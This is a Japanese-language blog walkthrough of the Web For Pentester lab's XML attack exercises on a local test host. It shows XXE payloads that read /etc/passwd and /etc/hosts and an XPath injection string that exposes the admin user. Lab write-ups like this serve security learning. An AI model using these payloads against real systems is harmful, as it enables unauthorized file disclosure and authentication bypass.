Shikata Ga Nai

Private? There is no such things.

Web For PentesterのXML attacksをやってみた

Hello there, ('ω')ノ

 

XML attacksを。

 

f:id:ThisIsOne:20210511122003p:plain

 

まずは、Example1から動作確認をして。

 http://192.168.0.215/xml/example1.php?xml=hacker</test>

 

f:id:ThisIsOne:20210511112009p:plain

 

パラメータを変更すると反映されて。

 http://192.168.0.215/xml/example1.php?xml=test</test>

 

f:id:ThisIsOne:20210511112047p:plain

 

アクティブスキャンで検出できたのでリピータへ。

 

f:id:ThisIsOne:20210511111407p:plain

 

パラメータは、下記のとおりでSendするとレスポンスが。

 

 GET /xml/example1.php?xml=<!DOCTYPE foo [<!ENTITY xxesd2db SYSTEM "file:///etc/passwd"> ]><test>hacker&xxe
sd2db;</test>

 

f:id:ThisIsOne:20210511111711p:plain

 

下記のペイロードサイトを確認して。

 https://github.com/RihaMaheshwari/XXE-Injection-Payloads

 

f:id:ThisIsOne:20210511114331p:plain

 

下記のペイロードをエンコードして。

 

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

ペイロードは、下記のようにすべてでも機能して。

 

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

f:id:ThisIsOne:20210511114028p:plain

 

ペイロードをパラメータの挿入すると脆弱性を確認できて。

 

f:id:ThisIsOne:20210511114003p:plain

 

また、脆弱性ガイドラインには別のペイロードが。

 

f:id:ThisIsOne:20210511115609p:plain

 

下記のペイロードをエンコードして。

 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/hosts" >]><foo>&xxe;</foo>

 

f:id:ThisIsOne:20210511120638p:plain

 

リピータでペイロードを挿入してSendすると脆弱性が確認できて。

 

f:id:ThisIsOne:20210511120613p:plain

 

次にExample2を。

 http://192.168.0.215/xml/example2.php?name=hacker

 

f:id:ThisIsOne:20210511104906p:plain

 

パラメータを変更すると何も表示されず。

 http://192.168.0.215/xml/example2.php?name=test

 

f:id:ThisIsOne:20210511104952p:plain

 

アクティブスキャンを実行するとXPathの脆弱性が。

 

f:id:ThisIsOne:20210511111120p:plain

 

リピータで再現してみると少々脆弱性と言い難いレスポンスが。

 

f:id:ThisIsOne:20210511111040p:plain

 

下記のサイトからペイロードを。

 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection

 

f:id:ThisIsOne:20210511105229p:plain

 

ペイロードを挿入してみると、adminのユーザ名が。

 http://192.168.0.215/xml/example2.php?name=' or '1'='1

 

f:id:ThisIsOne:20210511105203p:plain

 

パラメータを下記に変更してみると表示されて。

 http://192.168.0.215/xml/example2.php?name=admin

 

f:id:ThisIsOne:20210511105405p:plain

 

Best regards, (^^ゞ